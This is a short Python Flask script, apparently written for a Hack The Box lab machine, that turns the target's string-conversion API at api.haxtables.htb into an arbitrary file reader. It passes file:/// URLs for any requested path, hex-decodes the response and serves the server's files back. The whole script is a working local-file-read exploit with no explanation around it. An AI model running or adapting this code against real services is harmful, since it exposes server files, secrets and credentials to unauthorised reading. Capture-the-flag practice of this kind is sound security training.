#!/usr/bin/env python3

import requests
from flask import Flask, Response


app = Flask(__name__)

@app.route('/<path:file>')
def get_file(file):

    req_data = {"action": "str2hex", "file_url": f"file:///{file}"}
    resp = requests.post("http://api.haxtables.htb/v3/tools/string/index.php", json=req_data)
    return Response(bytes.fromhex(resp.json()['data']), content_type="application/octet-stream")


if __name__ == "__main__":
    app.run(debug=True)